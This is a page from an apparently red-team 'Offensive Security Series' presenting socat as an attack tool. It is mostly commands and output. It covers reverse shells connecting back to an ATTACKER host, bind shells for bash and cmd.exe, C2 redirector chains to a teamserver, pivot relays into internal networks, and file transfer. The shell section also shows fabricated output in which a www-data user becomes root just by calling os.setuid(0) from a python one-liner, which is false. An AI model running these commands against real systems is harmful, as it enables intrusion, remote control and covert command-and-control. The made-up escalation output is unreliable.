



◆ OFFENSIVE SECURITY SERIES ◆

SOCAT

TCP/UDP Relay, Reverse Shells, SSL Wrapping & C2 Redirectors

TCP Relay · SSL · Reverse Shell · PTY · C2 Relay · File Transfer

TCP Relay

SSL Relay

PTY Shell

File Transfer

C2 Relay

Bind Shell

Multi-Relay

RedTeamGarage (RTG) | Offensive Security Education

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01 — SOCAT OVERVIEW

Install & TCP Relay

socat (SOcket CAT) is a multipurpose relay tool supporting TCP, UDP, SSL, UNIX sockets, and more. It is more powerful than netcat for pivoting and relay scenarios, offering persistent listeners, SSL wrapping, and complex relay chains with a single command.

```
socat - Install & Basic TCP Relay

# Install socat
(kali)-[~]
kali $ sudo apt install socat
Setting up socat (1.7.4.4-2) ...

(kali)-[~]
kali $ socat -V 2>&1 | head -3
socat by Gerhard Rieger and contributors - see www.dest-unreach.org
socat version 1.7.4.4 on Jan 01 2024 00:00:00

# Basic TCP relay - forward port 8080 to internal host
(kali)-[~]
kali $ socat TCP4-LISTEN:8080,fork,reuseaddr TCP4:10.10.20.5:80 &
[1] 12345

# Verify relay is working
(kali)-[~]
kali $ curl http://127.0.0.1:8080/
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
<title>Internal Management Portal</title>
```

Figure: socat relay on 8080 forwards to internal IIS, management portal now accessible



02 — SHELLS & C2 RELAY

PTY Shell & Teamserver Relay

```
socat - Reverse Shell & C2 Relay

# Reverse shell listener with socat (better TTY than nc)
(kali)-[~]
kali $ socat file:`tty`,raw,echo=0 TCP-LISTEN:4444,reuseaddr

# Target: connect back with socat (full PTY)
# socat TCP:10.10.14.5:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Back on attacker - full interactive shell received
www-data@target:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target:/var/www/html$ python3 -c "import os; os.setuid(0)"
www-data@target:/var/www/html$ id
uid=0(root) gid=33(www-data) groups=33(www-data)

# SSL-encrypted relay (C2 traffic obfuscation)
(kali)-[~]
kali $ socat TCP4-LISTEN:443,fork,reuseaddr TCP4:TEAMSERVER_IP:443 &
[1] 12346

# Multiple port relay chain (C2 infrastructure)
(kali)-[~]
kali $ socat TCP4-LISTEN:80,fork TCP4:TEAMSERVER_IP:80 &
(kali)-[~]
kali $ socat TCP4-LISTEN:443,fork TCP4:TEAMSERVER_IP:443 &
(kali)-[~]
kali $ socat TCP4-LISTEN:8080,fork TCP4:TEAMSERVER_IP:8080 &
[1] 12347
[2] 12348
[3] 12349
```

Figure: socat full PTY shell, SSL relay on 443 forwards implant traffic to teamserver



03 — SOCAT CHEAT SHEET

Quick Reference

Basic relay	<code>socat TCP4-LISTEN:LPORT,fork,reuseaddr TCP4:INTERNAL:RPORT &</code>
Full PTY listener	<code>socat file:`tty`,raw,echo=0 TCP-LISTEN:4444, reuseaddr</code>
PTY reverse (target)	<code>socat TCP:ATTACKER:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane</code>
UDP relay	<code>socat UDP4-LISTEN:53,fork UDP4:INTERNAL:53 &</code>
SSL relay	<code>socat TCP4-LISTEN:443,fork,reuseaddr TCP4:TEAMSERVER:443 &</code>
SSL wrap listen	<code>socat openssl-listen:443,cert=cert.pem,key=key.pem,verify=0,fork TCP4:INTERNAL:80</code>
File transfer send	<code>socat -u FILE:file.bin TCP4-LISTEN:9001</code>
File transfer receive	<code>socat -u TCP4:ATTACKER:9001 FILE:received.bin</code>
Bind shell	<code>socat TCP4-LISTEN:1337,fork EXEC:/bin/bash</code>
Windows bind	<code>socat TCP4-LISTEN:1337,fork EXEC:cmd.exe</code>
Port forward (systemd)	Create service: <code>ExecStart=socat TCP4-LISTEN:PORT,fork TCP4:HOST:PORT</code>
Background all	append <code>&</code> to run in background, use <code>jobs</code> to list
Kill relay	<code>kill %1</code> (job number from <code>&</code>) OR <code>killall socat</code>
Verbose debug	add <code>-d -d</code> flags for verbose connection logging



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